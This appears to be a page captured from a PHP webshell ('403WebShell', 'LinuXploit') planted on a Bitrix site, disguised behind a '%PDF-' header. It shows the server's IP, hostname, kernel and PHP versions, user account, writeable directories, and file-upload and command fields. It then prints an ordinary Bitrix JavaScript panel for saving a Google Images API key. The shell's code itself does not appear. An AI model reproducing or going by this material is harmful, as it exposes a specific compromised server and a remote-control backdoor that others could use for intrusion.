%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.46.181
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel//google_images_settings_panel.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.UI.Panel");


	/**
	 * Implements interface for works with google images settings
	 * @extends {BX.Landing.UI.Panel.Content}
	 * @constructor
	 */
	BX.Landing.UI.Panel.GoogleImagesSettings = function()
	{
		BX.Landing.UI.Panel.Content.apply(this, ["google_images_settings", {
			title: BX.Landing.Loc.getMessage("LANDING_GOOGLE_IMAGES_KEY_PANEL_TITLE"),
			footer: [
				new BX.Landing.UI.Button.BaseButton("save_block_content", {
					text: BX.Landing.Loc.getMessage("BLOCK_SAVE"),
					onClick: this.onSaveClick.bind(this),
					className: "landing-ui-button-content-save",
					attrs: {title: BX.Landing.Loc.getMessage("LANDING_TITLE_OF_SLIDER_SAVE")}
				}),
				new BX.Landing.UI.Button.BaseButton("cancel_block_content", {
					text: BX.Landing.Loc.getMessage("BLOCK_CANCEL"),
					onClick: this.onCancelClick.bind(this),
					className: "landing-ui-button-content-cancel",
					attrs: {title: BX.Landing.Loc.getMessage("LANDING_TITLE_OF_SLIDER_CANCEL")}
				})
			]
		}]);

		this.layout.style.width = "496px";
		this.layout.style.zIndex = "600";
		this.overlay.style.zIndex = "599";

		this.settingsForm = new BX.Landing.UI.Form.BaseForm();
		this.keyField = new BX.Landing.UI.Field.Text({
			title: BX.Landing.Loc.getMessage("LANDING_GOOGLE_IMAGES_KEY_FIELD_TITLE"),
			textOnly: true,
			description: BX.Landing.Loc.getMessage("LANDING_GOOGLE_IMAGES_GET_KEY_GUIDE"),
			content: BX.Landing.Client.Google.key
		});
		this.settingsForm.addField(this.keyField);
		this.appendForm(this.settingsForm);

		document.body.appendChild(this.layout);
	};


	BX.Landing.UI.Panel.GoogleImagesSettings.getInstance = function()
	{
		return (
			BX.Landing.UI.Panel.GoogleImagesSettings.instance ||
			(BX.Landing.UI.Panel.GoogleImagesSettings.instance = new BX.Landing.UI.Panel.GoogleImagesSettings())
		);
	};


	BX.Landing.UI.Panel.GoogleImagesSettings.prototype = {
		constructor: BX.Landing.UI.Panel.GoogleImagesSettings,
		__proto__: BX.Landing.UI.Panel.Content.prototype,
		superclass: BX.Landing.UI.Panel.Content.prototype,

		show: function()
		{
			this.superclass.show.call(this);
			return new Promise(function(resolve) {
				this.resolver = resolve;
			}.bind(this));
		},

		onSaveClick: function()
		{
			var key = this.keyField.getValue();

			this.resolver(key);
			BX.Landing.Backend.getInstance()
				.action("Utils::saveSettings", {
					settings: {google_images_key: key}
				});

			BX.Landing.Client.Google.key = key;

			this.hide();
		},

		onCancelClick: function()
		{
			this.hide();
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit